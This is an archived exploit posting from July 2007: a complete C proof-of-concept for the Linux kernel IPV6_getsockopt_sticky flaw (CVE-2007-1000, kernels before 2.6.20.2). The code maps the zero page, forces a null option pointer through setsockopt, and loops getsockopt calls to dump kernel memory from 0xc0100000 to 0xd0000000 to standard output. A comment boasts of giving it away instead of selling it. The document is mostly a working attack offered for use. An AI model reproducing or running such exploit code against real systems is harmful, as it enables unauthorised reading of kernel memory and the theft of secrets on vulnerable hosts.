linux-26202.txt
Posted on 11 July 2007
/* * Linux Kernel IPV6_Getsockopt_Sticky Memory Leak Proof Of Concept * dreyer 07-2007 * Osu, Tatakae, Sexy Pandas! * * Dumps to stdout the memory mapped between INI and END. * * CVE: CVE-2007-1000 BID: 22904 * * Affected: Linux Kernel < 2.6.20.2 * * http://bugzilla.kernel.org/show_bug.cgi?id=8134 * * Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html * * For free!!! ( worth 600 EUR in zerobay! ) * */ #include <sys/mman.h> #include <netinet/in.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #define HOPOPT_OFFSET 8 #define INIADDR 0xc0100000 #define ENDADDR 0xd0000000 unsigned int i; int main(int argc, char *argv[]) { int s; unsigned int optlen; void *ptr; char value[10240]; char text[12]; fprintf(stderr,"Ipv6_getsockopt_sticky vuln POC " "dreyer '07 - free feels better " "Dumping %p - %p to stdout ",INIADDR,ENDADDR); s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); /* Make np->opt = NULL = 0x00000000 through IPV6_2292PKTOPTIONS */ setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0); /* Make 0x00000000 address valid */ ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (ptr != NULL) { perror("mmap"); exit(-1); } memset(ptr,0,4096); /* Make ptr point to np->opt->hopopt = (0x00000000)->hopopt = * 0x00000000 + 8 */ ptr=(char *)((char *)ptr+HOPOPT_OFFSET); i=INIADDR; while(i<ENDADDR) { /* Put in hopopt the address we want to read */ *((int *)ptr)=i; optlen=10240; /* Get the chunk pointed by hopopt through getsockopt IPV6_DSTOPTS */ getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen); if(optlen>0) { sprintf(text," %08x:",i); write(1,text,strlen(text)); write(1,value,optlen); i=i+optlen; } else { /* We could not read this portion because of some error, skip it */ i=i+4; } } return 0; }
